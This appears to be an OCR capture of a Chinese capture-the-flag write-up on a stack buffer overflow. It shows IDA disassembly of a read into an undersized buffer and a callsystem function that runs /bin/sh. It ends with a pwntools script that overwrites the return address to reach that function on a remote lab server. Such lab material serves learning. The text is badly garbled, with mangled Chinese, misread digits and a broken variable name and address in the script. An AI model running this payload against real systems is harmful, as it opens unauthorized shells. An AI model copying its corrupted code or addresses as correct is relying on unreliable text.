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unwind {
rbp
rbp, rsp
rsp, 16h
[rbp+var_4], edi
[rbp+var_18], rsi
edx, eDh ;n
esi, offset aHelloWorld ; "Hello, World\n"
edi, 1 ; fd
_write
eax, ©
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U=l IDA View—A [ L= Pseudocode—A [©] Hex View—1 [1 [A| Structures
int __cdecl main(int argc, const char **argv, const char **en\

1

2q

3| write(1, "Hello, World\n", ©xDuLL);
4

5

return vulnerable_function(1LL, "Hello, World\n");
}

EEmaink HAREH, 2K
A —wulnerable_function()HI 515, BAi1— B IR FE %

IDA View-A [ [E/Pseudocode-A B3 =
l|ssize_t vulnerable_function()
2

3| char buf; // [rsp+@h] [rbp-86h]
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4 I
5| return read(@, &buf, @x200ulLL);
6(}
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IDA View—A & [ElPseudocode-A £ (5] Strings window B3
Address Length Type String

/1ib64/1d-1inux—x86-64. so. 2
libe. 50. 6
read

;? LOAD: 000+ 0000001C C

‘' LOAD:0Q00--+ 00000004 C

‘' LOAD:Q00=-+ 00000003 C

LOAD: Q00+ Q0000007 C system

s’ LOAD:Q00--- 00000012 C _ libe_start_main

‘s’ LOAD:Q00--- 00000006 C write

‘s’ LOAD:Q00--- 0QO00000Q0F C _ gmon_start__

['s'] LOAD:000-++ 0000000C C GLIBC_2.2.5

i) 00000008 C /bin/sh

‘s’ . rodata:*-+ Q000000E C
C

Hello, Worldin
5’ . eh_frame-- 00000006 35N

2R L B string window 24 /bin/sh, 34114k 4:
RBET X, RdE#EA

~odata:0000000000400684 command db '/bin/sh',®@ ; DATA XREF: callsystem+4To

2 RIEHE BonfEcallsystem, #RJ5 miih £l Kcallsystemig £

1000004008596

90000 | public callsystem
1900004008596 callsystem proc near
'0eeee4ees96 ; _ unwind {

1900004008596 push rbp
1900004008597 mov rbp, rsp
I9000040859A mov edi, offset command ; "/bin/sh"
'190000400859F call _system
1900004005A4 pop rbp
I©00004085A5 retn

'1000004005A5 ; } // starts at 408596
'1000004085A5 callsystem endp

callsystemff ik B 4400596
BETRBEANEREHRAILT

from pwn import *

p = remote("111.198.29.45","32092")
call system = @x4080596

print p64(call_system)

payload = 0x88*'a' + p64(call_system)
p.sendline(payload)
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